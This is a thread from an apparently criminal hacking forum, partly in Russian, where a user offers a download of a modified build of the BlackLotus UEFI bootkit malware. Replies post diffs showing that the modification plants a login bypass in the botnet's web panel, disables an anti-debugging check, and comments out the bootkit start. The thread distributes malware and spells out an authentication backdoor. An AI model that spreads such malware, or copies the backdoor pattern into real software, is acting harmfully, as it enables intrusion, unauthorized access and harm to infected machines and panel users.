BlackLotus modified version

Rat-Botnet · 11.11.2023

This is a modified version of Black Lotus that fixes some bugs in the original GitHub repository

49.93 MB file on MEGA

mega.nz

Dread Pirate Roberts · 11.11.2023

бэкдор в веб панели, пускает без авторизации:

Код:

diff -u -w -B -a -N -r orig/panel/login.php BlackLotus-main_116/panel/login.php
--- orig/panel/login.php        2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/panel/login.php 2023-11-02 19:36:22.122082800 +0100
@@ -28,7 +28,11 @@
          exit();
       }
       else
-         echo('<div class="error">Invalid username or password!</div>');
+         echo('<div class="error">Invalid 111username or password!</div>');
+                $_SESSION['auth'] = true;
+         $_SESSION['time'] = (string)microtime(true);
+         header('location: index.php');
+         exit();
    }
    ?>
       <form method="POST">

непонятно зачем отключена проверка на дебаггер

Код:

diff -u -w -B -a -N -r orig/src/Bot/nzt.c BlackLotus-main_116/src/Bot/nzt.c
--- orig/src/Bot/nzt.c  2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/src/Bot/nzt.c   2023-10-14 06:09:14.593484100 +0100
@@ -42,7 +42,7 @@
        MemoryZero(&NzT, sizeof(NzT_T));
 
        // Check if NzT has a debugger detached, DestroyOS if true
-       if (IsBeingDebugged())
+       if (0)//(IsBeingDebugged())
        {
                DebugPrint("NzT: Possible debugging detected, exiting...");
                return ERROR_UNSUCCESSFULL;
@@ -73,7 +73,7 @@
        DebugPrint("NzT: Initialized!");
 
        // Start NzT EFI Bootkit
-       BookitInitialize();
+       //BookitInitialize();
 
 #ifdef _REPORT
        StartReportThread();

единственный возможно полезный фикс (судя по всему, для работы на китайских машинах):

Код:

diff -u -w -B -a -N -r orig/src/Encryptor/Encryptor.vcxproj BlackLotus-main_116/src/Encryptor/Encryptor.vcxproj
--- orig/src/Encryptor/Encryptor.vcxproj        2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/src/Encryptor/Encryptor.vcxproj 2023-10-14 05:47:51.553034100 +0100
@@ -37,7 +37,7 @@
     <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v142</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
+    <CharacterSet>MultiByte</CharacterSet>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>

Rat-Botnet · 11.11.2023

Dread Pirate Roberts сказал(а):

бэкдор в веб панели, пускает без авторизации:

Код:

diff -u -w -B -a -N -r orig/panel/login.php BlackLotus-main_116/panel/login.php
--- orig/panel/login.php        2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/panel/login.php 2023-11-02 19:36:22.122082800 +0100
@@ -28,7 +28,11 @@
          exit();
       }
       else
-         echo('<div class="error">Invalid username or password!</div>');
+         echo('<div class="error">Invalid 111username or password!</div>');
+                $_SESSION['auth'] = true;
+         $_SESSION['time'] = (string)microtime(true);
+         header('location: index.php');
+         exit();
    }
    ?>
       <form method="POST">

непонятно зачем отключена проверка на дебаггер

Код:

diff -u -w -B -a -N -r orig/src/Bot/nzt.c BlackLotus-main_116/src/Bot/nzt.c
--- orig/src/Bot/nzt.c  2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/src/Bot/nzt.c   2023-10-14 06:09:14.593484100 +0100
@@ -42,7 +42,7 @@
        MemoryZero(&NzT, sizeof(NzT_T));
 
        // Check if NzT has a debugger detached, DestroyOS if true
-       if (IsBeingDebugged())
+       if (0)//(IsBeingDebugged())
        {
                DebugPrint("NzT: Possible debugging detected, exiting...");
                return ERROR_UNSUCCESSFULL;
@@ -73,7 +73,7 @@
        DebugPrint("NzT: Initialized!");
 
        // Start NzT EFI Bootkit
-       BookitInitialize();
+       //BookitInitialize();
 
 #ifdef _REPORT
        StartReportThread();

единственный возможно полезный фикс (судя по всему, для работы на китайских машинах):

Код:

diff -u -w -B -a -N -r orig/src/Encryptor/Encryptor.vcxproj BlackLotus-main_116/src/Encryptor/Encryptor.vcxproj
--- orig/src/Encryptor/Encryptor.vcxproj        2023-07-13 03:42:00.000000000 +0100
+++ BlackLotus-main_116/src/Encryptor/Encryptor.vcxproj 2023-10-14 05:47:51.553034100 +0100
@@ -37,7 +37,7 @@
     <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v142</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
+    <CharacterSet>MultiByte</CharacterSet>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>

My friend made the modifications, but I haven’t looked at the specific source code. If there are any backdoors or other errors, please point them out. Thank you.

Dread Pirate Roberts · 11.11.2023

Rat-Botnet сказал(а):

My friend made the modifications, but I haven’t looked at the specific source code. If there are any backdoors or other errors, please point them out. Thank you.

I have shown all modifications made to the original leak: just 4 lines of code added (login.php) and 2 lines of code changed (nzt.c)
as far as I understand PHP the modification in login.php will accept any login and password, so it is a backdoor.

coree · 11.11.2023

Rat-Botnet сказал(а):

My friend made the modifications, but I haven’t looked at the specific source code.

Перед тем как что то публиковать на форуме, сначала проверяйте это на наличие таких "сюрпризов", иначе это выглядит как попытка обмануть других пользователей.

Rat-Botnet · 12.11.2023

Dread Pirate Roberts сказал(а):

I have shown all modifications made to the original leak: just 4 lines of code added (login.php) and 2 lines of code changed (nzt.c)
as far as I understand PHP the modification in login.php will accept any login and password, so it is a backdoor.

OK, thank you, I will communicate with my friends

Rat-Botnet · 12.11.2023

coree сказал(а):

Перед тем как что то публиковать на форуме, сначала проверяйте это на наличие таких "сюрпризов", иначе это выглядит как попытка обмануть других пользователей.

I am not a professional programmer, I just want to share part of my software source code. If there are any problems or backdoors later, please tell me and I will delete them and ask for guidance from forum professionals.

BlackLotus modified version

Rat-Botnet

RAID-массив

49.93 MB file on MEGA

Dread Pirate Roberts

Премиум

Rat-Botnet

RAID-массив

Dread Pirate Roberts

Премиум

coree

(L2) cache

Rat-Botnet

RAID-массив

Rat-Botnet

RAID-массив